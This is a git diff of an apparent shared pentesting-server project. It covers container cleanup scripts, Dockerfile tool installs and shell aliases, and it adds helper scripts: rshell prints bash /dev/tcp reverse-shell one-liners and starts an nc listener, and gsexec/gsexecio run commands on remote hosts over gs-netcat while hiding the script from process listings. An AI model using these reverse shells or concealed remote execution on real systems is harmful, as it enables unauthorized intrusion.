||||
local to_no_shell=$SF_TIMEOUT_NO_SHELL
|
||||
local is_token
|
||||
|
||||
c="$1"
|
||||
lid="${c#lg-}"
|
||||
|
||||
[[ ${#lid} -ne 10 ]] && return
|
||||
|
||||
ts_born=$(stat -c %Y "/sf/run/encfsd/user/lg-${lid}") || { ERR "[${CDM}${lid}${CN}] run/encfsd/user/lg-* missing?"; return; }
|
||||
# Skip if EncFS only started recently (zsh not yet started).
|
||||
[[ $((NOW - ts_born)) -lt 20 ]] && return 0
|
||||
|
||||
# Check if EncFS is still running.
|
||||
pgrep -f "^\[encfs-${lid}\]" &>/dev/null || {
|
||||
# NOTE: On CGROUPv2 the encfs dies when the lg container stops (user called 'halt' or 'docker stop')
|
||||
stop_lg "$lid" "${ts_born}" "" "lg" "EncFS died..."
|
||||
return
|
||||
}
|
||||
|
||||
# ts_logout may not exist (stale)
|
||||
ts_logout=0
|
||||
fn="/config/db/user/lg-${lid}/ts_logout"
|
||||
[[ -f "$fn" ]] && ts_logout=$(stat -c %Y "$fn")
|
||||
|
||||
# Check if there is still a shell running inside the container:
|
||||
IFS=""
|
||||
set -o pipefail
|
||||
comm=$(docker top "lg-${lid}" -eo pid,comm 2>/dev/null | tail +2 | awk '{print $2;}') || {
|
||||
# HERE: lg died or top failed.
|
||||
set +o pipefail
|
||||
stop_lg "${lid}" "${ts_born}" "encfs" "lg" "LG no longer running."
|
||||
return
|
||||
}
|
||||
|
||||
# Load timers
|
||||
[[ -e "/config/db/user/lg-${lid}/token" ]] && {
|
||||
to_with_shell=$SF_TIMEOUT_TOKEN_WITH_SHELL
|
||||
to_no_shell=$SF_TIMEOUT_TOKEN_NO_SHELL
|
||||
is_token=1
|
||||
}
|
||||
set +o pipefail
|
||||
# Note: We must set 'set +o pipefail' (e.g. fail only if last command errors). Otherwise the rare
|
||||
# condition can happen where grep exits (first match found) but 'echo' is still writing. Then echo
|
||||
# will receive a SIGPIPE and exit with 141 and the entire pipe will fail.
|
||||
|
||||
# [[ -f "/config/db/user/lg-${lid}/is_logged_in" ]] && return
|
||||
# FIXME: many stale is_logged_in exists without ssh connected ;/
|
||||
|
||||
# HERE: LG & EncFS are running.
|
||||
echo "$comm" | grep -m1 -E '(^zsh$|^bash$|^sh$|^sftp-server$)' >/dev/null && {
|
||||
# HERE: User still has shell running
|
||||
[[ -f "/config/db/user/lg-${lid}/is_logged_in" ]] && return
|
||||
[[ $((NOW - ts_logout)) -lt ${to_with_shell} ]] && return
|
||||
# HERE: Not logged in. logged out more than 1 week ago.
|
||||
stop_lg "${lid}" "${ts_born}" "encfs" "lg" "Not logged in for $((NOW - ts_logout))sec (shell running)."
|
||||
[[ -z $is_token ]] && try_syscop_msg "$lid"
|
||||
|
||||
return
|
||||
}
|
||||
# HERE: No shell running, ts_logout=0 if never logged out
|
||||
|
||||
# Skip if only recently logged out.
|
||||
[[ $((NOW - ts_logout)) -lt 60 ]] && return # Recently logged out.
|
||||
|
||||
# Filter out stale processes
|
||||
echo "$comm" | grep -m1 -v -E '(^docker-init$|^sleep$|^encfs$|^gpg-agent$)' >/dev/null || {
|
||||
# HERE: Nothing running but stale processes
|
||||
stop_lg "${lid}" "${ts_born}" "encfs" "lg" "No processes running."
|
||||
return
|
||||
}
|
||||
# HERE: Something running (but no shell, and no known processes)
|
||||
|
||||
[[ $((NOW - ts_logout)) -ge ${to_no_shell} ]] && {
|
||||
# User logged out 1.5 days ago. No shell. No known processes.
|
||||
|
||||
stop_lg "${lid}" "${ts_born}" "encfs" "lg" "Not logged in for ${to_no_shell}sec (no shell running)."
|
||||
[[ -z $is_token ]] && try_syscop_msg "$lid"
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
# HERE: No shell. No known processes. Less than 1.5 days ago.
|
||||
}
|
@ -216,7 +216,7 @@ RUN /pkg-install.sh LARGE apt-get install -y --no-install-recommends \
|
||||
mono-mcs \
|
||||
mono-devel \
|
||||
most \
|
||||
mycli \
|
||||
`### mycli ### yanked from Kali.2023.4` \
|
||||
mypager \
|
||||
nfs-common \
|
||||
neofetch \
|
||||
@ -320,7 +320,7 @@ RUN /pkg-install.sh HUGE apt-get install -y --no-install-recommends \
|
||||
cloud-image-utils \
|
||||
debootstrap \
|
||||
libguestfs-tools \
|
||||
qemu-efi \
|
||||
`qemu-efi ### yanked from Kali2023.4` \
|
||||
qemu-efi-arm \
|
||||
qemu-system \
|
||||
qemu-user \
|
||||
@ -362,7 +362,7 @@ RUN /pkg-install.sh GUI bash -c '{ cd /tmp \
|
||||
&& echo "deb https://packages.microsoft.com/repos/vscode stable main" | tee /etc/apt/sources.list.d/microsoft.list \
|
||||
&& apt-get update; }' \
|
||||
&& /pkg-install.sh GUI apt-get install -y --no-install-recommends \
|
||||
`###alacritty - Not available in stable release` \
|
||||
alacritty \
|
||||
aqemu \
|
||||
awesome \
|
||||
brave-browser \
|
||||
@ -402,14 +402,14 @@ RUN /pkg-install.sh GUI apt-get install -y --no-install-recommends \
|
||||
code || { [ $(uname -m) != x86_64 ] && true; }
|
||||
RUN /pkg-install.sh GUI apt-get install -y --no-install-recommends \
|
||||
`### xpra ### Using Xpra repo instead` \
|
||||
libavformat59 \
|
||||
libavif15 \
|
||||
libavformat60 \
|
||||
libavif16 \
|
||||
libjs-jquery-ui \
|
||||
`###libprocps8 ### yanked from Kali` \
|
||||
libqrencode4 \
|
||||
libxres1 \
|
||||
libxtst6 \
|
||||
libswscale6 \
|
||||
libswscale7 \
|
||||
libturbojpeg0 \
|
||||
gir1.2-gtk-3.0 \
|
||||
python3-cairo \
|
||||
@ -442,13 +442,13 @@ RUN /pkg-install.sh GUI apt-get install -y --no-install-recommends \
|
||||
# && rm -f /var/lib/apt/lists/xpra*; }'
|
||||
### 2023-07: beta is badly synced
|
||||
### E: Failed to fetch https://xpra.org/beta/bookworm/main/binary-amd64/Packages.gz File has unexpected size (41831 != 39348). Mirror sync in progress? [IP: 78.129.163.65 443]
|
||||
RUN /pkg-install.sh GUI bash -c '{ : \
|
||||
&& wget -O "/usr/share/keyrings/xpra.asc" https://xpra.org/xpra-2023.asc \
|
||||
&& wget -O "/etc/apt/sources.list.d/xpra.sources" https://raw.githubusercontent.com/Xpra-org/xpra/master/packaging/repos/bookworm/xpra.sources \
|
||||
&& apt-get update \
|
||||
&& pkg=("xpra" "xpra-x11" "xpra-html5") \
|
||||
&& apt-get install -y --no-install-recommends "${pkg[@]}" \
|
||||
&& rm -f /var/lib/apt/lists/xpra*; }'
|
||||
# RUN /pkg-install.sh GUI bash -c '{ : \
|
||||
# && wget -O "/usr/share/keyrings/xpra.asc" https://xpra.org/xpra-2023.asc \
|
||||
# && wget -O "/etc/apt/sources.list.d/xpra.sources" https://raw.githubusercontent.com/Xpra-org/xpra/master/packaging/repos/bookworm/xpra.sources \
|
||||
# && apt-get update \
|
||||
# && pkg=("xpra" "xpra-x11" "xpra-html5") \
|
||||
# && apt-get install -y --no-install-recommends "${pkg[@]}" \
|
||||
# && rm -f /var/lib/apt/lists/xpra*; }'
|
||||
### x86_64 only
|
||||
RUN /pkg-install.sh GUI bash -c '{ [[ $HOSTTYPE != x86_64 ]] && exit 0; cd /usr/lib \
|
||||
&& curl -sf https://download-installer.cdn.mozilla.net/pub/firefox/releases/108.0.1/linux-x86_64/en-US/firefox-108.0.1.tar.bz2 | tar xfvj - \
|
||||
@ -614,11 +614,11 @@ RUN /pkg-install.sh HACK ghbin shadow1ng/fscan 'fscan%arch:x86_64=:aarch64=_arm6
|
||||
&& /pkg-install.sh HACK ghbin 'theaog/spirit' 'spirit%arch:x86_64=:DEFAULT=SKIP%.tgz$' spirit `# x86_64 only, spirit-arm bad` \
|
||||
&& /pkg-install.sh HACK bash -c '{ GOBIN=/usr/bin go install github.com/tomnomnom/gf@latest \
|
||||
&& mkdir -p /usr/share/gf \
|
||||
&& svn export https://github.com/tomnomnom/gf/trunk /tmp/gf \
|
||||
&& git clone --depth 1 https://github.com/tomnomnom/gf.git /tmp/gf \
|
||||
&& mv /tmp/gf/examples/*.json /usr/share/gf \
|
||||
&& mv /tmp/gf/gf-completion.* /usr/share/gf \
|
||||
&& rm -rf /tmp/gf \
|
||||
&& svn export https://github.com/1ndianl33t/Gf-Patterns/trunk/ /tmp/gf \
|
||||
&& git clone --depth 1 https://github.com/1ndianl33t/Gf-Patterns.git /tmp/gf \
|
||||
&& mv /tmp/gf/*.json /usr/share/gf; }' \
|
||||
&& /pkg-install.sh HACK bash -c '{ GOBIN=/usr/bin go install github.com/tomnomnom/hacks/inscope@latest; }' \
|
||||
&& /pkg-install.sh HACK bash -c '{ GOBIN=/usr/bin go install github.com/Emoe/kxss@latest; }' \
|
||||
@ -631,7 +631,8 @@ RUN /pkg-install.sh HACK ghbin shadow1ng/fscan 'fscan%arch:x86_64=:aarch64=_arm6
|
||||
&& cmake . \
|
||||
&& make \
|
||||
&& cp urldedupe /usr/bin; }' \
|
||||
&& /pkg-install.sh HACK bash -c '{ svn export https://github.com/urbanadventurer/username-anarchy/trunk /opt/username-anarchy; }' \
|
||||
&& /pkg-install.sh HACK bash -c '{ git clone --depth 1 https://github.com/urbanadventurer/username-anarchy.git /opt/username-anarchy \
|
||||
&& rm -rf /opt/username-anarchy/.git*; }' \
|
||||
&& /pkg-install.sh HACK bash -c '{ GOBIN=/usr/bin go install github.com/damit5/gitdorks_go@latest; }' \
|
||||
&& /pkg-install.sh HACK bash -c '{ GOBIN=/usr/bin go install github.com/trickest/dsieve@master; }' \
|
||||
&& /pkg-install.sh HACK bash -c '{ GOBIN=/usr/bin go install github.com/trickest/enumerepo@latest; }' \
|
||||
@ -748,6 +749,7 @@ RUN /pkg-install.sh LARGE apt-get install -y --no-install-recommends \
|
||||
gcc-multilib \
|
||||
lib32ncurses-dev lib32z1-dev || { [ $(uname -m) != x86_64 ] && true; }
|
||||
RUN /pkg-install.sh HACK ghbin wader/fq '_linux_%arch1%' fq \
|
||||
&& /pkg-install.sh HACK bin https://raw.githubusercontent.com/nitefood/asn/master/asn asn2 \
|
||||
&& /pkg-install.sh HACK bin https://raw.githubusercontent.com/trustedsec/hardcidr/master/hardCIDR.sh hardcidr \
|
||||
&& /pkg-install.sh HACK ghbin hahwul/dalfox '_linux_%arch1%' dalfox
|
||||
RUN /pkg-install.sh NET ghbin hackerschoice/gsocket '_%arch%.deb' \
|
||||
@ -764,6 +766,7 @@ RUN /pkg-install.sh NET ghbin hackerschoice/gsocket '_%arch%.deb' \
|
||||
&& /pkg-install.sh NET ghbin ViRb3/wgcf 'linux_%arch1%$' wgcf \
|
||||
&& /pkg-install.sh NET ghbin poscat0x04/wgcf-teams '-linux' wgcf-teams \
|
||||
&& /pkg-install.sh NET apt-get install -y --no-install-recommends \
|
||||
grepcidr \
|
||||
hping3 \
|
||||
ipcalc ipcalc-ng \
|
||||
microsocks \
|
||||
@ -798,9 +801,10 @@ RUN /pkg-install.sh HACK ghbin ekzhang/bore '%arch:aarch64=arm%-unknown-linux'
|
||||
&& /pkg-install.sh HACK ghbin praetorian-inc/noseyparker 'linux-' noseyparker \
|
||||
&& /pkg-install.sh HACK bin 'https://gitlab.com/api/v4/projects/33695681/packages/generic/nrich/latest/nrich_latest_amd64.deb' `# x86_64 only` \
|
||||
&& /pkg-install.sh HACK bin 'https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb' `# x86_64 only` \
|
||||
&& /pkg-install.sh HACK bin 'https://github.com/xaitax/SploitScan/raw/main/sploitscan.py' sploitscan \
|
||||
&& /pkg-install.sh HACK ghbin hueristiq/xurlfind3r 'linux_%arch:x86_64=amd64:aarch64=arm64%' xurlfind3r
|
||||
RUN /pkg-install.sh LARGE ghbin PaddiM8/kalker 'linux' kalker \
|
||||
&& /pkg-install.sh LARGE ghbin PowerShell/PowerShell 'deb_%arch1%.deb'
|
||||
RUN /pkg-install.sh LARGE ghbin PaddiM8/kalker 'linux' kalker
|
||||
## YANKED. Already in apt-get install powershell/pkg-install.sh LARGE ghbin PowerShell/PowerShell 'deb_%arch1%.deb'
|
||||
RUN /pkg-install.sh HACK bash -c '{ wget -O "/usr/bin/favfreak.py" https://raw.githubusercontent.com/devanshbatham/FavFreak/master/favfreak.py \
|
||||
&& chmod 755 /usr/bin/favfreak.py \
|
||||
&& ln -s favfreak.py /usr/bin/FavFreak; }' \
|
||||
@ -808,7 +812,8 @@ RUN /pkg-install.sh HACK bash -c '{ wget -O "/usr/bin/favfreak.py" https://raw.
|
||||
&& wget -O /usr/share/wordlists/meg/openredirects "https://raw.githubusercontent.com/tomnomnom/meg/master/lists/openredirects" \
|
||||
&& wget -O /usr/share/wordlists/meg/configfiles "https://raw.githubusercontent.com/tomnomnom/meg/master/lists/configfiles" \
|
||||
&& wget -O /usr/share/wordlists/meg/crlfinjection "https://raw.githubusercontent.com/tomnomnom/meg/master/lists/crlfinjection"; }'
|
||||
RUN /pkg-install.sh DEV ghbin helix-editor/helix '-%arch%-linux.tar.xz' hx
|
||||
RUN /pkg-install.sh DEV ghbin helix-editor/helix '-%arch%-linux.tar.xz' hx \
|
||||
&& /pkg-install.sh DEV ghbin dandavison/delta '_%arch1%.deb'
|
||||
RUN sed 's/deb-src.*//' -i /etc/apt/sources.list \
|
||||
&& apt-get autoremove -y \
|
||||
&& apt-get update
|
||||
|
@ -36,18 +36,18 @@ alias brave="brave-browser"
|
||||
[[ -t 0 ]] && [[ ! -e "${HOME}/.nokiddie" ]] && {
|
||||
_nokiddie_warning()
|
||||
{
|
||||
local cmd
|
||||
cmd="$1"
|
||||
shift 1
|
||||
local cmd="$1"
|
||||
local sargs="$2"
|
||||
shift 2
|
||||
local is_show
|
||||
is_show=1
|
||||
|
||||
[[ -s "/config/self/wgname" ]] && unset is_show
|
||||
[[ -s "/config/self/wgname" ]] && { unset is_show; unset _XARGS; }
|
||||
[[ -e "${HOME}/.nokiddie" ]] && unset is_show
|
||||
[[ -n $is_show ]] && {
|
||||
echo -e >&2 "\
|
||||
${CDC}Massdns${CN}, ${CDC}Masscan${CN} et.al. do not work well via VPN providers. The uplink VPN providers
|
||||
and Google's 8.8.8.8 / 8.8.4.4 will ${CRY}block the requests${CN} when done to rapidly.
|
||||
${CDC}${cmd}${CN} does not work well via VPN providers. The uplink VPN providers
|
||||
will ${CRY}block the requests${CN} when done to rapidly.
|
||||
Read how the pros do it: ${CB}${CUL}https://thc.org/segfault/faq/nokiddie${CN}"
|
||||
|
||||
if [[ -t 0 ]]; then
|
||||
@ -55,17 +55,28 @@ Read how the pros do it: ${CB}${CUL}https://thc.org/segfault/faq/nokiddie${CN}"
|
||||
read -r -t10
|
||||
fi
|
||||
}
|
||||
|
||||
if [[ -z $sargs ]]; then
|
||||
command "$cmd" "$@" # Might not exist and fail nicely here
|
||||
else
|
||||
[[ -z $is_show ]] && {
|
||||
echo -e "Adding ${CDC}${sargs}${CN} to your command. To override type:"
|
||||
echo -e " ${CC}command ${CDC}${cmd} $*${CN}\n"
|
||||
sleep 2
|
||||
}
|
||||
command "$cmd" "$@" $(echo "$sargs") # allow word splitting
|
||||
fi
|
||||
|
||||
}
|
||||
|
||||
command -v massdns >/dev/null && massdns(){ _nokiddie_warning "massdns" "$@"; }
|
||||
command -v puredns >/dev/null && puredns(){ _nokiddie_warning "puredns" "$@"; }
|
||||
command -v masscan >/dev/null && masscan(){ _nokiddie_warning "masscan" "$@"; }
|
||||
command -v shuffledns >/dev/null && shuffledns(){ _nokiddie_warning "shuffledns" "$@"; }
|
||||
command -v nuclei >/dev/null && nuclei(){ _nokiddie_warning "nuclei" "$@"; }
|
||||
command -v ffuf >/dev/null && ffuf(){ _nokiddie_warning "ffuf" "$@"; }
|
||||
command -v naabu >/dev/null && naabu(){ _nokiddie_warning "naabu" "$@"; }
|
||||
command -v zmap >/dev/null && zmap(){ _nokiddie_warning "zmap" "$@"; }
|
||||
command -v massdns >/dev/null && massdns(){ _nokiddie_warning "massdns" "" "$@"; }
|
||||
command -v puredns >/dev/null && puredns(){ _nokiddie_warning "puredns" "" "$@"; }
|
||||
command -v masscan >/dev/null && masscan(){ _nokiddie_warning "masscan" "" "$@"; }
|
||||
command -v shuffledns >/dev/null && shuffledns(){ _nokiddie_warning "shuffledns" "" "$@"; }
|
||||
command -v nuclei >/dev/null && nuclei(){ _nokiddie_warning "nuclei" "-rl 15 -c 4 -bs 4 -hbs 2 -headc 2" "$@"; }
|
||||
command -v ffuf >/dev/null && ffuf(){ _nokiddie_warning "ffuf" "" "$@"; }
|
||||
command -v naabu >/dev/null && naabu(){ _nokiddie_warning "naabu" "" "$@"; }
|
||||
command -v zmap >/dev/null && zmap(){ _nokiddie_warning "zmap" "" "$@"; }
|
||||
}
|
||||
|
||||
### for 'curl -x socks5h://$(PROXY) ipinfo.io'
|
||||
@ -282,8 +293,10 @@ alias nocol=noansi
|
||||
# Make the Project name visibile in the PS1 prompt
|
||||
[[ -z $VIRTUAL_ENV ]] && VIRTUAL_ENV="${SF_PRJ}"
|
||||
|
||||
PATH="${HOME:-/sec/root}/go/bin:${HOME:-/sec/root}/.cargo/bin:/sec/root/.local/bin:/sec/usr/sbin:/sec/usr/bin:/sf/bin:$PATH"
|
||||
|
||||
PATH="${HOME:-/sec/root}/go/bin:${HOME:-/sec/root}/.cargo/bin:/sec/root/.local/bin:/sec/usr/sbin:/sec/usr/bin:/sf/bin:/usr/local/go/bin:$PATH"
|
||||
[[ -d /usr/share/doc/python3-impacket/examples ]] && PATH="${PATH}:/usr/share/doc/python3-impacket/examples"
|
||||
export PATH
|
||||
|
||||
_sf_info_non_perm()
|
||||
{
|
||||
|
@ -15,13 +15,34 @@
|
||||
# ZSH specific
|
||||
function cnf_preexec() {
|
||||
local cmd
|
||||
local is_nospace
|
||||
local s
|
||||
|
||||
cmd="$1"
|
||||
# Dont deal with ultra long commands
|
||||
[[ ${#cmd} -gt 1024 ]] && return
|
||||
# Dont deal with multi-lines
|
||||
[[ "$cmd" == *$'\n'* ]] && return
|
||||
# Check if we are tracking this command already
|
||||
[[ $cnf_last == $cmd ]] && return
|
||||
typeset -g cnf_last="$cmd"
|
||||
|
||||
cmd="${cmd#"${cmd%%[^[:space:]]*}"}" # remove leading whitespace characters
|
||||
# Dont deal with function definitions: contains "()" and no " " before
|
||||
s="${cmd%%\(\)*}"
|
||||
[[ $s != $cmd ]] && [[ "$s" != *" "* ]] && return
|
||||
|
||||
# Remove any variable like in `FOO=blah duf`
|
||||
# Test: X="FOO BAR" Y="hello world" Z=mememe whoami
|
||||
# Test:
|
||||
# X="FOO BAR" Y="hello world" Z=mememe id
|
||||
# X=FOO
|
||||
# X=FOO id
|
||||
# X=FOO Y=BAR
|
||||
# 'X=FOO Y="BAAR" '
|
||||
# X=FOO ~/foo.sh
|
||||
while :; do
|
||||
cmd="${cmd#"${cmd%%[^[:space:]]*}"}" # remove leading whitespace characters
|
||||
[[ $cmd != *" "* ]] && break
|
||||
[[ $cmd != *" "* ]] && { is_nospace=1; break; }
|
||||
# Check if first string before \s is a variable (contains '=')
|
||||
[[ ${cmd%% *} != *"="* ]] && break
|
||||
|
||||
@ -33,21 +54,23 @@ function cnf_preexec() {
|
||||
}
|
||||
# HERE: X="foo" or X="foo bar"
|
||||
cmd=${cmd#*=\"}
|
||||
cmd=${cmd#*\" }
|
||||
cmd=${cmd#*\"}
|
||||
done
|
||||
[[ ${cmd:0:1} == "~" ]] && return
|
||||
[[ -z $cmd ]] && return
|
||||
[[ -n $is_nospace ]] && [[ $cmd == *"="* ]] && return
|
||||
|
||||
typeset -g cnf_command="${cmd%% *}"
|
||||
|
||||
whence -- "${cnf_command}" >& /dev/null && return
|
||||
# HERE: command not found
|
||||
[ -n "$cnf_once" ] && return
|
||||
typeset -g cnf_once="1"
|
||||
echo -en "💥 \e[0;31m"
|
||||
}
|
||||
|
||||
function cnf_precmd() {
|
||||
cnf_ret=$?
|
||||
|
||||
unset cnf_once
|
||||
unset cnf_last
|
||||
echo -en "\e[0m"
|
||||
(($cnf_ret)) && [ -n "$cnf_command" ] && {
|
||||
whence -- "${cnf_command}" >& /dev/null ||
|
||||
|
16
guest/fs-root/sf/bin/d
Executable file
16
guest/fs-root/sf/bin/d
Executable file
@ -0,0 +1,16 @@
|
||||
#! /usr/bin/env bash
|
||||
|
||||
{ [[ -n $SF_BINDIR ]] && source "${SF_BINDIR}/funcs.sh"; } || source "/sf/bin/funcs.sh"
|
||||
|
||||
[[ $# -ne 2 ]] && { echo -e >&2 "${CY}ERROR${CN}: d <file1> <file2>"; exit 255; }
|
||||
|
||||
# cut & paste this into your shell on your workstation or add to ~/.bashrc
|
||||
d() {
|
||||
[[ -n "${DELTA_OPTS}" ]] && {
|
||||
diff -u "$@" | delta ${DELTA_OPTS}
|
||||
return
|
||||
}
|
||||
diff -u "$@" | delta --color-only
|
||||
}
|
||||
|
||||
d "$@"
|
@ -2,13 +2,14 @@
|
||||
|
||||
{ [[ -n $SF_BINDIR ]] && source "${SF_BINDIR}/funcs.sh"; } || source "/sf/bin/funcs.sh"
|
||||
|
||||
[[ $# -lt 2 ]] && { echo -e >&2 "${CY}ERROR${CN}: gsexec SECRET 'command'"; exit 255; }
|
||||
|
||||
# cut & paste this into your shell on your workstation or add to ~/.bashrc
|
||||
gsexec() {
|
||||
local sec
|
||||
sec="$1"
|
||||
shift 1
|
||||
echo "$*; exit; __START"|gs-netcat -s "$sec" 2>/dev/null|sed -n '/__START/,$p'|tail +2
|
||||
echo "$*; kill -9 \$\$; __START"|gs-netcat -I -s "$sec"|sed -un '/__START/,$p'|tail +2
|
||||
}
|
||||
|
||||
[[ $# -lt 2 ]] && { echo -e >&2 "${CY}ERROR${CN}: gsexec SECRET 'command'"; exit 255; }
|
||||
gsexec "$@"
|
||||
|
40
guest/fs-root/sf/bin/gsexecio
Executable file
40
guest/fs-root/sf/bin/gsexecio
Executable file
@ -0,0 +1,40 @@
|
||||
#! /usr/bin/env bash
|
||||
|
||||
# Known problems:
|
||||
# - OpenWRT's broken? kill -9 $PPID but the parent's parent only detects EOF on STDOUT after 10 second timeout.
|
||||
|
||||
{ [[ -n $SF_BINDIR ]] && source "${SF_BINDIR}/funcs.sh"; } || source "/sf/bin/funcs.sh"
|
||||
|
||||
[[ $# -lt 1 ]] && { echo -e >&2 "${CY}ERROR${CN}: gsexecio SECRET <shell-script.sh"; exit 255; }
|
||||
|
||||
gsexecio() {
|
||||
# local IFS=""
|
||||
# - stty is not always available. This poses a problem because we can not disable echo on the TTY and the entire
|
||||
# script with be replied back to us. Solution is to add an ENDMARKER and use 'sed -un' to ignore all output until
|
||||
# ENDMARKER (end of script) is reached.
|
||||
# Old: { echo -e "stty raw -echo\nexec cat | exec bash; stty +echo"; sleep 3; cat; echo -e "\n:;kill -9 \$PPID";} | gs-netcat -Ii -s "$1" 2>/dev/null | sed -un '/stty raw -echo/,$p'|tail +3
|
||||
# - The "echo sleep 2; cat;" triggers the remote bash to first wait 2 seconds before executing whatserver.sh
|
||||
# and thus allowing the bash to read all the script into its input buffer (because when stty does not exist we
|
||||
# must wait for bash to reply the entire script back to us before creating output or the output will
|
||||
# get mangled.
|
||||
# Old: { echo "sleep 2"; cat; } | { echo -e "exec cat | exec bash"; cat; echo -e '\n:;kill -9 $PPID;';} | gs-netcat -Ii -s "$1" 2>/dev/null | sed -un '/:;kill -9 $PPID/,$p' | tail +2
|
||||
# - We can not pipe the commands into bash because that would cause output mangling (bash starts execting before EOF.)
|
||||
# Old: { echo -e 'dd bs=1 count='"${#s}" 2>/dev/null' | bash; kill -9 $$'; echo "$s";} | gs-netcat -Ii -s "$1" 2>/dev/null
|
||||
# - Expand diretly into bash -c will make our script show in remote's process list
|
||||
# Old: { echo -e 'exec bash -c "$(dd bs=1 count='"${#s} 2>/dev/null)"'"'; echo "$s";} | gs-netcat -Ii -s "$1" 2>/dev/null | sed -un '/####ENDMARKER/,$p' | tail +2
|
||||
# - The 'sleep 1' is there to give the remote site time to execute 'bash' without the calling shell to read the payload.
|
||||
|
||||
# Right deep into the bash tool kit:
|
||||
# - we dont want that the entire script shows in 'ps' output. Thus read into variable 's' and then
|
||||
# double eval
|
||||
# bash -c 'IFS="" s="$(<x.sh)" eval eval "\$s"'
|
||||
# - Escaping quotes the correct way makes it unreadable. Sorry.
|
||||
unset pl
|
||||
pl="echo '#####STARTMARKER'"$'\n'
|
||||
pl+=$(cat)
|
||||
{ echo 'exec bash -c '"'"'IFS="" s=$(dd bs=1 count='"${#pl}"' 2>/dev/null) eval eval "\$s"'"'"; sleep 1; echo "$pl";} | gs-netcat -Ii -s "$1" 2>/dev/null | sed -un '/^#####STARTMARKER/,$p' | tail +2
|
||||
}
|
||||
|
||||
|
||||
gsexecio "$1"
|
||||
|
46
guest/fs-root/sf/bin/rshell
Executable file
46
guest/fs-root/sf/bin/rshell
Executable file
@ -0,0 +1,46 @@
|
||||
#! /usr/bin/env bash
|
||||
|
||||
source /sf/bin/funcs.sh
|
||||
|
||||
load() {
|
||||
[[ ! -f "$2" ]] && return 255
|
||||
eval "${1}=$(<"$2")"
|
||||
}
|
||||
|
||||
ERREXIT() {
|
||||
local code="$1"
|
||||
|
||||
shift 1
|
||||
[[ -n $1 ]] && echo -e >&2 "${CR}ERROR:${CN} $*"
|
||||
|
||||
exit "${code:-99}"
|
||||
}
|
||||
|
||||
[[ ! -f /config/self/reverse_port ]] && curl sf/port
|
||||
load rport /config/self/reverse_port || ERREXIT 255 "No reverse port found. Try ${CC}curl sf/port${CN}."
|
||||
load rip /config/self/reverse_ip || ERREXIT 255 "No reverse port found. Try ${CC}curl sf/port${CN}."
|
||||
echo -e "\
|
||||
Use one of these commands on the remote system:
|
||||
1. ${CDR}bash -c '(exec bash -i &>/dev/tcp/${rip}/${rport} 0>&1) &'${CN}
|
||||
2. ${CDR}(bash -i &>/dev/tcp/${rip}/${rport} 0>&1) &${CN}
|
||||
${CN}Once connected, cut & paste the following into the _this_ shell:
|
||||
${CF}-------------------------------------------------------------------------------${CDC}
|
||||
command -v python >/dev/null \\
|
||||
&& exec python -c 'import pty; pty.spawn(\"bash\")' \\
|
||||
|| exec script -qc bash /dev/null
|
||||
export SHELL=/bin/bash TERM=xterm-256color
|
||||
reset -I
|
||||
PS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'
|
||||
"'stty -echo;printf "\\033[18t";read -rdt R;stty sane $(echo "$R"|awk -F";" '"'"'{ printf "rows "$3" cols "$2; }'"'"')'"
|
||||
${CN}${CF}-------------------------------------------------------------------------------${CN}
|
||||
To force-exit this listener, type ${CDY}kill \"\$(pgrep -P $$)\"${CN} on your Root Server"
|
||||
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
|
||||
|
||||
cfg=$(stty --save)
|
||||
stty raw -echo opost
|
||||
echo -e "${CDG}Listening on ${CG}${rip}:${rport}${CN}"
|
||||
nc -nlp "$rport"
|
||||
echo "🦋 Restoring terminal..."
|
||||
stty "$cfg"
|
||||
# reset -I
|
||||
|
49
guest/fs-root/sf/bin/str2mnemonic
Executable file
49
guest/fs-root/sf/bin/str2mnemonic
Executable file
@ -0,0 +1,49 @@
|
||||
# /usr/bin/env bash
|
||||
|
||||
BINDIR="$(cd "$(dirname "${0}")" || exit; pwd)"
|
||||
|
||||
ERREXIT() {
|
||||
local code=$1
|
||||
shift 1
|
||||
echo -e >&2 "[ERROR] $*"
|
||||
exit "$code"
|
||||
}
|
||||
|
||||
usage() {
|
||||
echo -e "Create a Mnemonic from 'string'"
|
||||
echo -e "Usage: ${0%/*} [number of words in mnemonic] string ..."
|
||||
exit 255
|
||||
}
|
||||
|
||||
findfn() {
|
||||
local fn
|
||||
for fn in "$@"; do
|
||||
[[ ! -f "$fn" ]] && continue
|
||||
echo "$fn"
|
||||
return
|
||||
done
|
||||
return 1 # ERROR
|
||||
}
|
||||
|
||||
[[ $# -lt 2 ]] && usage
|
||||
|
||||
amount=$1
|
||||
shift 1
|
||||
NUM=$(echo "$*" | md5sum)
|
||||
NUM=${NUM%% *}
|
||||
NUM=$((16#${NUM:0:15}))
|
||||
|
||||
fn=$(findfn "${BINDIR}/english.txt" "/sf/share/english.txt" "/usr/share/english.txt" "/etc/english.txt") || ERREXIT 255 "List of 2000 words (english.txt) not found."
|
||||
readarray -t english <"$fn"
|
||||
unset fn
|
||||
|
||||
# Create a amount number of words from NUM:
|
||||
|
||||
while [[ $amount -gt 0 ]]; do
|
||||
((amount--))
|
||||
m=$((NUM % ${#english[@]}))
|
||||
fn+="${english[$m]}"
|
||||
NUM=$((NUM / ${#english[@]}))
|
||||
done
|
||||
|
||||
echo "$fn"
|
@ -1,29 +1,34 @@
|
||||
|
||||
VER=9.6p1
|
||||
|
||||
all: albuild fs-root/bin/docker-exec-sigproxy fs-root/bin/unix-socket-client fs-root/usr/sbin/sshd Dockerfile
|
||||
docker build --no-cache --network host -t sf-host .
|
||||
|
||||
albuild:
|
||||
bash -c "docker run --rm alpine-gcc true || \
|
||||
docker commit alpine-gcc alpine-gcc || { \
|
||||
docker run --network host --name alpine-gcc alpine sh -c 'apk update && apk add gcc patch libc-dev musl-dev zlib-dev openssl-dev make linux-headers libcap-dev bash' \
|
||||
&& docker commit alpine-gcc alpine-gcc; }"
|
||||
bash -c "docker run --rm sf-alpine-gcc true || \
|
||||
docker commit sf-alpine-gcc sf-alpine-gcc || { \
|
||||
